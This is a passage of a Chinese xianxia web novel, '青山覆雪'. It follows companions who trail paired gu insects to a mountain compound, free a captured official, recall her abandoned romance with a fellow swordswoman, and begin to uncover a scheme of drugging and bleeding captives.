傅霖看着那人单薄的背影,虽被欺骗,竟也不觉得生气。 “被子分我点儿。” 言语间,笑着去扯那人身上多余的被子。 几个时辰缓缓流逝而去,傅霖在半梦半醒之间,隐约听到一阵奇异的声响传来。 那声音似有若无,时而像是某种物体正在轻轻敲击着什么,时而又如一群蚊子在耳畔嗡嗡作响、来回飞舞。 蚊子...... 这让傅霖脑海中瞬间闪过一个念头——双生蛊! 想到此处,他心头一紧,猛地从床上坐了起来。 目光迅速扫向枕边放置的琉璃瓶,只见其中有十几只蛊虫正疯狂地在瓶身内横冲直撞,仿佛急于冲破束缚,逃出生天一般。 “江洵,快醒醒。” 傅霖一边伸手抓起那个琉璃瓶,一边转身朝着睡在一旁的江洵喊去。 此刻的江洵却紧闭着双眼,眉头紧锁,额头上布满了细密的汗珠,就连放在腹部的双手也是死死地攥着,不知在抓取着何物。 做噩梦了? 他提高音量又呼唤了几声,但江洵依旧毫无反应,仍然沉浸在梦魇之中。 眼看着情况有些不对劲,傅霖伸出手准备去推搡一下江洵,试图将其唤醒。 就在这时,原本沉睡中的江洵猛然睁开双眼,一双眼睛透着丝丝寒意和浓烈的杀意,直直地盯向傅霖。 傅霖被这突如其来的一幕吓了一跳,不禁蹙起了眉头。 当江洵看清楚面前之人是傅霖后,眼中的杀意瞬间消散得无影无踪,取而代之的是一片平静如水。 “怎么了?”长时间的紧张状态,突然开口说话时,声音倒有些沙哑。 “蛊虫有动静了。”傅霖边说边将瓶子递给江洵查看。 二人没有耽搁,赶忙起床去寻另外几人。 江洵毫不犹豫地朝着江挽的房门走去,脚步略显匆忙。 方才的梦太过真实。 他梦见江挽死在一张偌大的棋盘之上,而执棋人竟是自己。 带着满心的惶恐与不安,轻轻地敲响了江挽的房门,屋内却毫无动静。 于是,叩门声变成了拍门声,愈发急促。 可在这短暂又漫长的等待时光里,门内始终没有传出哪怕一丁点的回应之声。 江洵愈发焦躁难安,准备抬脚踹门而入之际,那扇一直紧闭着的门缓缓打开了。 刹那间,一股令人压抑的黑暗气息扑面而来。 屋内一片漆黑,仿佛所有的光线都被吞噬殆尽。 清冷的月光洒落在江挽的身上,映照出出她那张略显疲惫的面容。 看到江挽无事的那一刻,江洵压在心里的石头终究是落下了。 顾不得什么礼仪规矩,上前一步将人抱在怀里。 对于江洵来说,江挽不仅仅是他的师父,还是他亲手给自己挑选的亲人,也是他此生唯一的亲人。 是他心生退意时,撑在背后的一双手;也是他遇到危险时,挡在身前的一块盾。 是他在这世上仅存的一抹清明,更是他这些年来一直念善的原因。 回想起那场噩梦,江洵只觉得浑身发冷,心中后怕不已。 他根本不敢想江挽有一天会死,更不敢想,居然还是死在自己手中。 被江洵这突如其来的举动弄得有些发懵的江挽,竟产生了一种恍惚之感。 这孩子什么时候长得如此高大了? “师父怎么一直不开门?”江洵缓缓松开手,神色紧张地打量着眼前人。 “睡太沉了,没听到。” “撒谎,师父明明是做噩梦了。香囊没戴在身上吗?” 他知道香囊对他们这种人来说早已无济于事,可他还是想要图一个心安。 “戴着呢,在这儿。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那是一只崭新的香囊,散发着淡淡的香气。 香囊的右下角处,依然绣着一个小巧的碗形图案。 然而,与江洵身上所佩戴的那个香囊相比较,这个香囊的绣工显然有了显着的进步。 尽管针脚仍然有些歪歪扭扭,但已经能够看出绣者用心程度的增加。 江挽轻轻地将香囊收回来,目光转向对方,“可是蛊虫有动静了?”声音轻柔而温和。 江洵微微颔首,表示肯定。 就在两人交谈之际,其他几个人也纷纷走出房门。 只见邱漓小心翼翼地从瓶子里取出两只雄性蛊虫。 这些蛊虫体型虽小,但翅膀却急速振动着,仿佛迫不及待要飞向某个地方。 邱漓轻轻一松手,那两只蛊虫便如离弦之箭般迅速朝前飞去。 “快跟上!”她回过头来,对着身后的众人高声喊道。 雌蛊飞行速度竟然快得惊人,如果按照平常散步的速度前行,恐怕很难追上它们的身影。 眼看着蛊虫就要飞出院门,江挽毫不犹豫地撤去了设置在周围的结界。 瞬间,一道微弱的光芒闪过,结界消失无踪。 星回像是完成了任务的小孩儿,欢快地飞回江挽手中。 江挽微微一笑,伸出手温柔地抚摸着剑柄,轻声说道:“辛苦了。” 感受到主人的赞赏和抚慰,星回周身闪烁着淡淡的光芒,似乎在以这种方式回应对方。 雌蛊的飞行方向和白日里进山的道路并无不同,只是在面对三个路口的时候,雌蛊飞向了最左边那一条。 此时,约莫寅时之际,浓厚的雾气如同一层厚重的白色帷幕,悄然笼罩着整座山野。 这浓雾使得视线受到极大限制,能见度极低,哪怕只是稍微分神一刹那,便有可能掉队。 “都跟紧一些。” 邱漓一边目不斜视地盯着前方的道路,一边头也不回地向身后几人喊道。 她此前从未涉足过这条路径,但毕竟此地仍处于鸣蜩山的范围之内,所以一马当先地行走在队伍的最前端。 一行人深一脚浅一脚地前行着,谁也不清楚究竟已经走出了多远的距离。 就在逐渐感到疲惫的时候,一座孤零零矗立着的宅院映入眼帘。 邱漓眼疾手快,迅速将仍在前行的两只雄蛊收了回来。 因为她对这个地方有些印象,若是记忆没有出现偏差,那么在这座宅院的某个角落处,应该有几块砖头是松动的。 只要取下砖头,身形娇小的人便能勉强从中钻过去。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第135章 怎么是你 众人缓缓推开那扇略显陈旧的木门,轻手轻脚地踏进了院子里。 整个院子静悄悄的,万籁俱寂,没有一点儿动静。 江挽动作轻柔地走到其中一间屋子的窗前,伸出手指,极其小心地推开窗户,留出一条狭窄的缝隙,进而窥探屋内的情形。 屋里面躺着东倒西歪的几个人,只有一个是坐着的,但双手双脚还被捆起来了。 当江挽透过月光看清楚那人的面庞时,刹那间失神,手上的力道也随之失控。 只听得"嘎吱"一声响,原本被推开的窗户猛地晃动了一下,发出一阵轻微而又突兀的声响。 被捆之人察觉到窗户边儿的异响,满眼警惕的望了过来。 “怎么是你?” 那人看清楚来人是谁后,略带惊讶的说道。 “那我走?” 江挽笑的一脸得意,话落就翻窗而入。 尽管南宫娴心中对眼前之人略有嫌弃之意,但此时此刻的情形已由不得她再去百般挑剔。 无奈之下,她只能任凭江挽伸手过来给自己解绑。 “你自己来的?”南宫娴略带疑惑地开口询问道。 “你希望我跟谁一起来?” 江挽嘴角微微上扬,迅速反问回去。 待到南宫娴身上捆绑的绳索完全被解开之后,她立刻站起身来,舒展四肢、活动活动筋骨。 这一路上所经历的种种波折和束缚着实让她感到无比憋屈。 自从踏入鸣蜩山的地界儿,南宫娴便感觉到诸事不顺。 其实,她并非未曾察觉有什么东西一直在暗中窥视着她的一举一动,可直至此刻,她都没明白究竟是何物一直如影随形般地紧跟在身后。 若不是如今中律司人手稀缺,无论如何也是轮不上她来担任此次任务的记录员。 说起“鸣蜩山”这个任务,它早在之前就已经发布了相当长的一段时间。 可所有被派遣此地来执行任务的弟子都无一人生还。 正因如此,该任务的等级也从最初的戊级一路攀升至丁级,而相应的奖励更是不断累加增加。 但仍然没有任何人愿意主动接手这个任务。 只要一听到是有关鸣蜩山的案件,狗听了都摇头,转身就走。 她带来的这一批任务员都是些中律司刚入门没多久的弟子。 没办法,别家弟子不愿意接,只能自家弟子接了。 这下可好,赔了夫人又折兵,弟子没了,自己也栽了。 他们这行人一路上都保持着高度的警惕,尽管察觉出周围的气氛有些不对,但好在并没有碰到什么难缠的蛊虫。 终于,他们经过多方打听,来到当地最有话语权的族长家,也从而认识了那位叫格非的女子。 南宫娴没有过多寒暄,开门见山地问起关于山下百姓接连失踪的情况。 而被问到的格非只是不断摇头,表示自己对这些事情一无所知。 半炷香的时间过去了,愣是一点儿有用的线索都没打听到,南宫娴渐渐失去了耐心,原本平和的面容变得不耐烦起来。 眼看着她就要忍不住动武之际,格非像是想起了什么重要的事情一般,抛出了一个所谓“有用”的线索。 她煞有介事地说道:“这段时间鸣蜩山曾到访过一个外地而来的商人,自称是来收购蛊虫的。其开价很高,村中不免有人心动,将自己培养多年的蛊虫一一售出。” “我觉得大人要查的线索,应该同那位商人有关。” 如此漏洞百出的谎话,南宫娴自然不会轻易相信。 她坐在一旁冷眼旁观,心中思忖着格非哪句话为真哪句话为假。 不仅如此,就连格非派人端过来的茶水,她也是碰都不碰一下。 正当她准备出言提醒其他几人不要随意饮用茶水时,却发现他们早就一饮而尽了。 甚至还笑着感谢格非所提供的线索。 看到眼前这一幕,南宫娴气得直翻白眼。 她回头怒视着那几个毫无防备之心的少年,真恨不得冲上去给他们每人狠狠一巴掌,好让他们清醒清醒。 最后只好咬牙切齿地同他们说道:“做任务时多有不便,茶水尽量少喝一些。” 可没人将她这句话放在心上,甚至还有一‘愣头青’说道:“好喝,再来一杯。” 呵。 人无语的时候就是想砍点儿什么。 那人光滑的脖子就挺适合开刀的。 纵使她千防万防,总归是防不到那该死的蚊子不知在何时在自己手背上咬了一口。 等她发现手背有些红肿的时候,已经有些意识不清了。 再醒来时,映入眼帘的就是眼前这间房子了。 本想看一下这房子是建在什么地方,有没有机会逃出去,可谁知道她手脚都被特殊的绳子绑住了,越挣扎捆的越紧,愣是浑身都动弹不得。 索性放弃挣扎,目光看向了躺在身旁的那几人。 可是祸不单行,这些人无论怎么喊都喊不醒,真是一点儿忙都帮不上! 南宫娴愤恨地盯着那位说“好喝,再来一杯”的弟子,瞬间都气笑了。 这章没有结束,请点击下一页继续阅读!看吧,她就应该早点儿动手的。 起码这人还能知道自己死因为何。 这下可好,还得等着别人来砍脖子,到时候连自己是怎么死的都不知道。 “带吃的没?” 南宫娴十分自来熟的问道,不知道的还以为她们二人关系多好呢。 江挽闻声转过头来,眉头微微一皱,嘴里发出一声不满的“啧”声。 她们之间有那么熟悉吗? 张嘴就要吃的? 不过不满归不满,还是从怀中摸出一包桂花糕,扔给了南宫娴。 南宫娴如获至宝般迅速接过那包桂花糕,道了声谢。 等她打开外面那层油纸一看,才发现这桂花糕早已碎得不成样子。 可眼下哪还顾得上这些,只要能够填饱肚子就行了。 “瑶卿没来?” 南宫娴一边吃着桂花糕,一边含糊不清地问道。 “来不来关你何事??吃你的!” 江挽头也不回地应道,目光始终落在地上那几人身上,检查着他们的状况。 南宫娴似乎并没有因为江挽冷漠的态度而感到生气,反而低声呢喃道:“还好没来……” 就在这时,一阵焦急的呼喊声突然传来:“师父!” 江洵方才进了院子只顾着查线索,以至于一个不留神发现江挽不见了踪影。 正当他准备询问其他几人是否见到江挽时,眼角余光瞥见了一间屋子的窗户大开着。 江洵心头一动,快步朝着那扇窗户走去。 尚未靠近,就听到了屋内传出江挽的声音。他赶忙停下脚步,伸着头向屋里张望过去。 “欸?娴姐?” 江洵一眼就看到了正在吃东西的南宫娴,不禁有些惊讶地叫出声来。 江洵看到正在吃桂花糕的南宫娴有些意外,他每次看到那人的时候都是一副英姿飒爽的模样,如今却有些......落魄??? “既然你都在的话,那小锦是不是也一块儿来了?” 南宫娴眼下毫不在意自己的形象,朝站在窗外的少年问道。 “对,来了。”江洵说完话,就翻窗走了进来。 南宫娴见状,十分不解的说道:“这屋子是没有门吗?怎么你们师徒俩都翻窗进来?” “这房间是没有门吗?怎么你不自己逃出去呢?”江挽随即回道。 其实,江洵一开始过来的时候就留意了一眼,这扇门被落了锁,他可没有钥匙开锁。 进屋后,打量着地上躺着的那几人,瞧这服饰应该都是中律司的弟子。 这一个个虽然都有着呼吸,但方才这么大的动静,却无一人睁开眼睛查看。 说明不是睡着了,而是昏迷了。 此时,门外传来了另外几人的声音。 只听秦在锦嘟囔道:“这房间都锁着,只能从窗户进。” “只能??” 只听傅霖冷哼一声,然后掏出自己的万能铁丝,瞬间打开了门上的铁锁。 “你实话实说,你之前是不是干锁匠的?”邱漓好奇地问道。 “真看不出来啊霖哥,还有这一手呢。”冬苓说完就推开了门。 门开后,门外四人和门内三人大眼瞪小眼。 场面竟有那么一瞬间的沉默。 “你怎么在这儿?”傅霖率先开口问道。 南宫娴翻了个白眼,她是什么见不得人的人吗? 她难道不应该在这儿吗? 那她应该在哪里? 在床底? “自然是来这儿游玩了,不然还能是为什么?做任务吗?”南宫娴阴阳怪气的回道。 秦在锦闻言,默默地低下了头。 瞅瞅把他们娴姐儿气的,都开始说反话了。 “你接的是什么任务?”江挽回头问道。 只见南宫娴小心翼翼地从怀中掏出一份略显陈旧的任务书,递到江挽面前,“你且先看吧。” 江挽接过任务书,目光迅速扫过上面密密麻麻的文字。 大致情况是这样——鸣蜩山周边地区的百姓不知何故竟离奇失踪,一些居民声称曾经在自家屋子附近看到过不知名的诡异虫子。 由于传闻鸣蜩山上居住着精通巫蛊之术的人物,此事便引起了中律司的高度重视,遂决定派遣弟子对鸣蜩山展开调查。 江挽快速浏览完任务书后,抬起头,眉头微皱,疑惑地问道:“仅仅只是人员失踪这么简单?” 南宫娴摇了摇头,补充道:“任务书上所描述的确如此。不过嘛……” 说到这里,她稍稍停顿了一下,“在赶来此地的途中,倒是偶然碰到了几具异常的尸体。” 说完,她顺手将手中的油纸折叠起来,然后整整齐齐地暂时放置于怀中,并没有随意乱丢出去。 江挽正欲开口继续追问关于那些尸体的具体情况,却见南宫娴示意秦在锦前去查看一下此刻仍处于昏迷状态中的几位弟子。 而还未等秦在锦有所动作,邱漓忽然插话道:“不必查看了,他们都是因为服用药物才导致昏迷不醒的,短时间内恐怕难以苏醒过来。” 对于邱漓的这番论断,南宫娴没有表示出质疑或者不信任的态度,反倒是追问道:“那缘何我没有昏迷?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“因为你没喝呀。” 邱漓耸了耸肩,这么简单的道理,她为什么不明白? 这姐姐明明看着挺聪明的呀。 南宫娴无奈地叹了口气,怎么人与人之间的沟通就这么困难? 她从昨日到现在一直都是清醒的,自然记得自己并没有喝过什么乱七八糟的东西。 而另外几人在她印象中也没喝过什么来路不明的东西,除非是…… 格非家的茶水??? 他爹的,她就说应该早点动手的!!!! 可再仔细想来,那茶水格非自己也喝了,她是亲眼看着那人喝进去的。 莫非茶水没问题,杯子有问题? “可知是何种迷药?”南宫娴问道。 邱漓摇了摇头,她对药材并不精通,所识之物更是不多。 “可有找到雌蛊所在之处?”江挽回头问道。 他们既然是跟着雄蛊来的,那么雌蛊就应该在这附近,或者在这宅子中的某个位置。 邱漓将一只雄蛊放了出来,几人随即跟了上去。 江挽刚想一道儿跟上的时候,被南宫娴拽住了袖子。 “做什么?”江挽不解的看着她,开口要东西也就算了,怎么还上手扯衣服了? 可怕…… 得离这女人远点儿。 “且让他们去找,年轻人就该多跑跑,你就先在这儿歇着吧,我陪你。”南宫娴意味深长地说道。 “我不需要你陪。” “我需要。” 察觉到江挽没有跟上来,江洵顿时停下了脚步,回头望了过去。 “去吧。”江挽挥挥手,示意他不用担心。 这孩子怎么回事儿?年纪越大越粘人了。 “你这徒弟……倒越发有出息了。”南宫娴找了个地方坐下去。 “用得着你说?” “欸,我没惹你吧,怎么对我意见那么大呢!” 南宫娴撅着嘴,虽说自己脾气不好,但怎么着也没不好到她江挽身上。 至于说话的时候,阴阳怪气又绵里藏针么。 “你是没惹我,但你惹到我瑶妹了。” 得亏南宫娴是女子,倘若是个男人,刚才那桂花糕就是喂狗也不会给她吃。 饿死得了! 一了百了! 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第136章 瑶瑶领娴 听到这话的南宫娴沉默了下来,朱唇轻抿,似是欲言又止。 她确实有着无言说的苦衷,但她也确实对瑶卿有愧。 作为南宫家的长女,南宫娴自幼便是众人瞩目的焦点。 她的父亲南宫靖乃是中律司之主,权倾朝野;她的姑母南宫颂是大陈唯一一位异姓王,地位尊崇无比。 在外人看来,她似乎拥有着享不尽的荣华富贵,一生都无需看人脸色行事。 可只有生在南宫家的人知晓,这看似光鲜亮丽的生活背后隐藏着多少身不由己。 上京城的城楼高耸如山,城墙院落幽深似海,就连那冬日里纷纷扬扬飘落的雪花也显得愈发厚实沉重。 繁华表象之下,是无数看不见的规矩和束缚紧紧缠绕着她。 爹爹常对她说:“身为女子,应当贤良淑德、温柔娴雅,方能不失大家闺秀之风。” 阿娘也总是告诫她:“言行需谨慎,举止要得体,切不可有丝毫越矩之举。” 而姑母更是要求她不仅要能文善武,还要懂得藏拙避短,以免遭人嫉恨。 于是,南宫娴便沿着他们精心铺设好的道路一步一步地走下去。 这条路上倒也并非全然孤寂无依,她身侧始终有一个身影默默相伴——南宫容若。 南宫容若是南宫颂唯一的女儿,翊王之位也理应传给她来坐。 可念其性格较为柔弱,南宫家族一致认为不应该将爵位传予她。 南宫颂也曾直言不讳地表示,容若性子实在太过软弱,难当大任。 但南宫娴却从不这样认为,在她眼中,容若分明比任何人都要坚韧勇敢。 只是家族中的长辈们以爱之名,亲手折断了她的傲骨,将她困在了华丽的牢笼之中,迫使她成为一只温顺听话的金丝雀。 十八岁那年,她离开了翊王府,接了中律司的任务,离开了上京。 也是在那一年,她遇到了瑶卿,那人扯断了她身上的枷锁,让她知道这世上原来还有另一种活法。 瑶卿与那些在上京城中被礼教规矩重重束缚着的名门贵女们截然不同。 她是自由的,是热烈的,像极了太阳。 她喜欢跟那人待在一处,二人几乎形影不离。 有一日,在去中律司领赏的时候遇到了江挽,只见瑶卿兴高采烈的跑过去同那人说些什么。 看着瑶卿与江挽谈笑风生的模样,南宫娴起初并未太过在意,毕竟人家才是一个门派的,关系融洽也是再正常不过之事。 况且,江挽与瑶卿相识已久,两人之间自然是无话不谈。 只是瑶卿望向那人的眼神,以及谈话时的神态,过于温柔。 她不由自主地紧紧盯着眼前那两个相谈甚欢的身影,眉头渐渐皱起,胸口更是莫名地感到一阵沉闷。 尽管明知对方同为女子,但她内心深处的那份焦躁与不安却是愈发难以抑制。 她逼迫自己重新审视同瑶卿之间的关系,她发现瑶卿给她的感觉并非是闺中密友那般。 因为在瑶卿不经意间靠近她时,她的心总是会不自觉的加快跳动。 这种感觉是她从未有过的。 往日无论同容若再怎么亲密无间,她也始终心如止水,没有一丝波澜。 她想,她大抵明白了这是一种什么感觉。 她想,她毫无疑问是喜欢瑶卿的。 她心急如焚地想让那个人洞察她心底最深处的秘密和情感,但同时又心生惬意,唯恐那个人知晓之后会对她产生厌恶之情。 她一边享受着瑶卿无微不至的关怀,贪婪地汲取着这份温暖;一边又深深地鄙夷着自己那无比自私的内心,坐立难安。 她们这两年曾一起走过许多地方,完成了数不清的任务,拯救了一个又一个身陷困境的百姓。 但是为何,没人能来救一救她? 告诉她,应该怎么办? 她甚至连直面瑶卿那双清澈如水的眼眸都不敢。 在她看来,那人眼中映出的自己定然是卑鄙龌龊、丑陋不堪的。 可久而久之,瑶卿终究还是察觉到了她的异样。 “你这几天怎么了?目光总是躲躲闪闪的,也不肯正眼瞧我,可是我做错了什么?” 瑶卿面露忧色,轻声询问道。 “不是你的错,是我......”南宫娴低垂着头,声音细若蚊蝇。 “那你到底是怎么了呀?可是家里遇到了什么难事儿?” 瑶卿愈发关切起来,一双美眸紧紧地盯着南宫娴。 她并不知晓南宫娴的真实身份,还以为那人只是南宫家不起眼的旁支罢了。 “没,就是……就是……哎呀,就是我喜欢上了一个人!” 南宫娴索性破罐子破摔。 可坐在对面的瑶卿却沉默了一瞬,而后笑着说道:“是吗?原来如此。” 南宫娴低着头没有回话,自然没有也看到那人怅然失落的表情。 她们最后一次相见是在招寿村,瑶卿说想去看一场傀儡戏。 她同意了。 她默默站在台下,目不转睛地望着被邀请上台的姑娘。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!望着望着就笑了。 笑着笑着就哭了。 雾气弥漫在双眼,那人的身影缓缓消失不见。 那般好的女子,怎能将她困在深墙大院。 太阳就该高高悬挂在天上,供她一世敬仰。 傀儡戏结束后,翊王府的信鸽落在了肩头。 信中说姑母病危,让她速回。 她甚至没来及同瑶卿好好道别,就匆忙离去。 翊王爵位与中律司司主这一职位紧密相连,可以说是相互依存、不可分割的关系。 也就是说,如果姑母打算退位,翊王之位由她来坐的话,那么中律司司主这个职务必然也要随之更换人选。 尽管南宫珩如今年纪尚小,可一旦南宫娴顺利袭爵,那么同一时间,他便成为下一任中律司司主。 当南宫娴返回翊王府时,恰好遇见了秦家父女二人。 她赶忙走上前去,恭敬地向秦方礼行了一个礼:“秦伯父。” 秦方礼微笑着摆了摆手,示意她不必如此多礼,接着轻声说道:“娴儿莫要担忧,你姑母的身体已经没有什么大碍了,只需要静心调养一段时间即可康复。” 听闻此言,南宫娴一直悬着的心终于稍稍放下了一些。 没过多久,只见南宫珩一阵风似地从房间里面冲了出来,嘴里嚷嚷着要送一送秦伯父。 看着几人的身影渐渐远去,南宫娴这才缓缓迈步走进屋内。 在她踏入房门的一刹那,耳畔突然传来父亲严厉的喝声:“跪下!” 南宫娴早有预料,深深地吸了口气,毫不犹豫地双膝跪地。 从小到大,这样的场景不知上演过多少次。 每一次面对双亲和姑母那突如其来的斥责和惩罚时,她都觉得无比困惑和委屈。 究竟是自己做错了什么事情?又或者是说错了哪一句话? 似乎在这座看似华丽的翊王府,就连最平常不过的呼吸,都是一种错。 “给你传去多少封信,催了你多少遍,你全都视而不见!在你眼里,还有没有南宫家?还有没有中律司!!” 南宫靖说话间拔高了音量,怒气冲冲的看着一言不发的南宫娴。 她怎么总是学不乖?怎么总是这般桀骜不驯? 她以后又该如何在朝堂立足?又该如何令这全家上下服众? “你姑母的身子是一天不如一天,容若又是个......你早些回来,她能带你早点熟悉政务,你这孩子到底想干什么呀?” 谢锦云一脸忧愁的看着自家闺女,真是拿她一点儿办法都没有。 幼时还能强硬的管教她,可如今她年纪大了,翅膀硬了,哪儿还管的住。 南宫娴任由那二人数落她,自始至终没有反驳过一句话。 爹娘的话她明白,姑母的苦心她也懂。 谁都没有错。 她也没有错。 “你到底听进去没有!!!” 南宫靖此刻恨她是个木头!怎么雕琢都不成气候! “那我那?” 南宫娴双眼无神的望向那高高在上的双亲,苦笑道。 “我的声音,爹娘可曾听见过?哪怕一刻。” 如果她没有接触到另一种活法,如果没有入过江湖,她或许可以接受这一眼便望到头的人生。 可她见到了旷野,又怎甘心被困在一方。 “娴儿,这世间没有两全,你既然享受了这个家的庇护,就该承担起你的义务。”谢锦云说道。 “你以为圣上真的允许异姓王的存在?那还不是因为南宫家代代都是女子袭爵。” “你以为那中律司又是什么好差事?前有江湖,后有朝堂,中间不能出一丝差错。” “我何尝不想看着你跟珩儿快乐的长大,我又何尝不想你们能飞的远远的,高高的。可是娴儿,君心难测啊……” 南宫靖说这话的时候,声音略带沙哑,语气中有无奈也有自责。 南宫世家在外人看来,可谓是鱼和熊掌兼得。 可只有他们自己知道,其实到头来什么都没抓着儿。 空有爵位又如何? 一没有封地、二没有兵权,根本翻不出什么风浪。 一司之主又如何? 既不属于名门正派,又不属于朝廷六部,两边都不讨好。 “女儿知道了。” 南宫娴抬起头,面无表情的轻声说道。 她的个人情感与南宫一族的荣耀相比,简直不值一提。 笼中鸟,即使飞了一圈,终究还是要飞回笼子里的。 没过几日,下一任袭爵之人及中律司掌权人的消息在同一时间公布了出去。 瑶卿在看到南宫娴的画像和名字时,竟有一瞬间的错愕。 “瑶儿,帮我打壶酒来。”陈叔躺在躺椅上使唤着正在发呆的瑶卿。 许是没有听到那人的动静,陈叔想要再喊一声,然后遭到了江挽的冷眼。 “你自己没长手???”江挽望着陈叔冷冷说道。 被骂的陈叔有些委屈的看向郜林,无声地问道:“她咋啦?我哪里惹她了?” 郜林察觉到眼下气氛不正确,哪还敢吭声,只敢小幅度的摇摇头,表示他也不知情。 这章没有结束,请点击下一页继续阅读!有一天晚上,南宫容若带着一个戴斗笠的女子轻手轻脚的来到南宫娴房间。 正在看兵书的南宫娴头也没抬的就让容若自己找位置坐。 “别看书了,瞅瞅我身后是谁。”容若上前抽走了她手上的书。 当她猛地抬头看向来人时,瞬间有些失望,“怎么是你!” 江挽冷哼一声,“那我走?” 南宫娴随即又想到什么,起身上前拽住了江挽的衣袖,赶忙问道:“可是卿卿遇到了什么难事儿?” 那紧张和担忧的眼神是真的,江挽看的出来。 “她没事,就是让我带句话。三日后,她会在金乌亭等你,只等你一天,去或不去你自己决定。” 江挽说完这句话就拂袖离开了。 那天天气不好,一直在下雨。 金乌亭来来往往,停留了不少避雨之人,但瑶卿却没有看到南宫娴的身影。 她在那儿等了一天一夜,翌日一早,雨停了。 江挽踱步走来,将身上的披风盖在了她单薄的肩上。 “是她......放弃了。”瑶卿呢喃道。 “我知道。” 江挽平静地回应,拿出帕子擦掉那人头上的雾水。 “是她......胆怯了。” “我知道。” “她没有错,我也没有错。” “嗯。” 南宫娴或许猜到了瑶卿对她的心意,但她已经不敢承认了。 她尚且掌控不住自己的人生,又怎敢拉着瑶卿一同下水。 南宫娴并不知道那日在中律司瑶卿与江挽的谈话内容,所以她不知道那满眼的眷恋不是给江挽,而是给她。 那时的瑶卿是在同江挽介绍南宫娴,她提起那人的时候总是眼角带笑的。 她不喜欢女子,也不喜欢男子。 她只是喜欢南宫娴,而那个人恰好是女子罢了。 自那日过后,瑶卿便不再向人提起南宫娴此人。 她们像是从未相识过一般,哪怕某日在江湖中遇见,也只是心照不宣的擦肩而过。 不再为对方多驻留半步。 “若是重新选,当年可还会赴约?”江挽问道。 南宫娴失声笑了,“不会。” 无论重来多少次,当年的她,都不会赴约。 过去无法改变,但未来可以扭转。 如今的她,已然坐稳了翊王之位,而南宫珩也在中律司混得如鱼得水。 她从不后悔自己做过的决定,也不再去追忆往日的温情。 她有的是时间,也有的是精力,等到没人可以掣肘她的那一刻起,她便是自由的。 会有这一天的,她相信且坚信。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第137章 问心有愧 “南宫娴,你有没有想过,没有人会在原地等着你羽翼丰满。”江挽冷冷说道。 也没有人有义务,站在那里等着你长大。 人这一生会遇到许多分岔路,每一条路都是一种人生。 两个人最好的结局是殊途同归,可大多数分道扬镳。 毕竟流逝的是时间,而驰骋的才是人心。 她为了家族的荣耀,可以在权衡利弊后舍弃瑶卿,这一点从现实角度来看,确实无可非议。 毕竟,无论换作是谁处于这样艰难的抉择之中,恐怕都会优先考虑家族利益而非个人情感。 然世事难料,谁能保证日后不会再有其他比个人感情更为重要的事情发生? 于她而言,瑶卿无疑属于次要地位,是可以被割舍掉的存在。 也正如瑶卿当时所说的那般,南宫娴的这番举动并没有错处可言。 除了瑶卿本人之外,其他人都无法对其行为指指点点、横加指责。 倘若将选择权交到江挽手中,想必她也会先做好自己应该做的,再去弥补自己内心缺失的。 归根结底,她们本质上都是同一类人——为达目的不惜一切代价,甚至甘愿舍弃个人情感。 可是,当若干年后回首往事之时,是否心中会悄然涌起那么一丝丝难以言说的遗憾。 是否也会暗自后悔,当初为何不多看几眼那人的容颜。 江挽下意识地挠了挠手心上那道伤疤,心中不禁泛起一阵苦涩。 她又何尝不是问心有愧呢。 两人就这样静静地并肩坐在一起,谁也没再开口打破这片沉默。 微风轻轻拂过,撩动着她们的发丝,却无法吹散萦绕其心头的阴霾。 而不远处的另外五人,已经找了雌蛊所在的位置。 “这雌蛊既然在人的身体里面,又是怎么感知到宿主有危险的?难不成这个人快要死了?” 冬苓略带疑惑地盯着躺在那张简陋草席上的几人,嘴里呢喃道。 站在一旁的秦在锦紧接着说道:“确实有些让人想不通。” 话音刚落,他便迈步走向前去,开始仔细查看那几个人的状况。 大致地观察一番后,这几人身上并未存在能够致命的明显外伤。 但秦在锦心中却总有一种挥之不去的感觉——似乎有某些重要的细节被自己给忽略掉了。 于是,秦在锦再次将目光投向身旁那个人的指尖。 只见其指尖呈现出十分正常的肤色,毫无异样之处;再瞧瞧那人的嘴唇,虽说略微显得有些苍白,但除此之外,也没有任何中毒的蛛丝马迹可循。 不仅如此,这些人就连脉象也是相当平稳,除了有些气虚,与身体健康的正常人并无差别,仿佛真的只是昏迷了而已。 那么问题来了,背后之人费尽心思将雄蛊引来的真正目的到底是什么? 这些人尚未遭遇生命危险,体内的雌蛊按理来说不应该向雄蛊发出求救信号才是。 一直沉默不语的邱漓突然轻声道:“不对……事情恐怕没这么简单。” 说着,她缓缓蹲下身子,凑近那些人的手指,聚精会神地检查起来。 果不其然,那人的指腹处有好几个极其细小的红点,而这些红点正是被银针扎过后所遗留下的痕迹。 她想起来那段被试药的日子,每隔两天便会有人前来取走她的鲜血。 此刻,邱漓猛地转过头,目光急切地望向众人,询问道:“你们可知道世上是否存在某种药物,其制作或使用与人类的血液相关?” 话音刚落,在场的几个人皆是面色一惊,不约而同地倒抽一口凉气。 血液…… 白榆人!!! 这个词汇让所有人的神经瞬间紧绷起来。 秦在锦毫不犹豫地伸手入怀,迅速掏出了几张弥生符。 不知是该庆幸还是失望,那几人的血滴在弥生符上时,并没有发生什么特殊的变化。 “难不成是我想多了?”秦在锦皱着眉头说道。 “不,是我们想少了。”江洵环视着整个房间。 这里有一种说不出的诡异感,太过安静了。 且不论格非或是那个术老板不会亲自现身,就单单一个寻常的侍卫都没有发现。 就这么放心这群人不会逃走? 还是说压根就不需要担心。 为什么死人体内养的是食人蛊,而活人体内藏得却是双生蛊? 还有一点,为何这未知的药并不会致命,可每天依旧有人死去? 这之间一定有着他还没发现的一环。 傅霖知道江洵那句话的意思,顺着他的话继续分析道:“也许食人蛊真正的用途并非是杀人,而是用于破坏尸体!” 虽不知其目的,但整个事件的过程还是可以猜上一猜。 首先,精心将双生蛊分别植入到两个人的身躯之中。 其中一人生活在山脚下,另一人则被圈禁于鸣蜩山。 受雌蛊所控之人,犹如囚徒一般,陷于此地无法脱身。 不仅每日要喝来历不明的汤药,隔一段时间还会有专人前来检查其血液是否因为喝药而产生变化。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!若是在经历了一段特定的时间之后,这人的血液仍旧没有丝毫改变的迹象,那么他(她)便会沦为弃子。 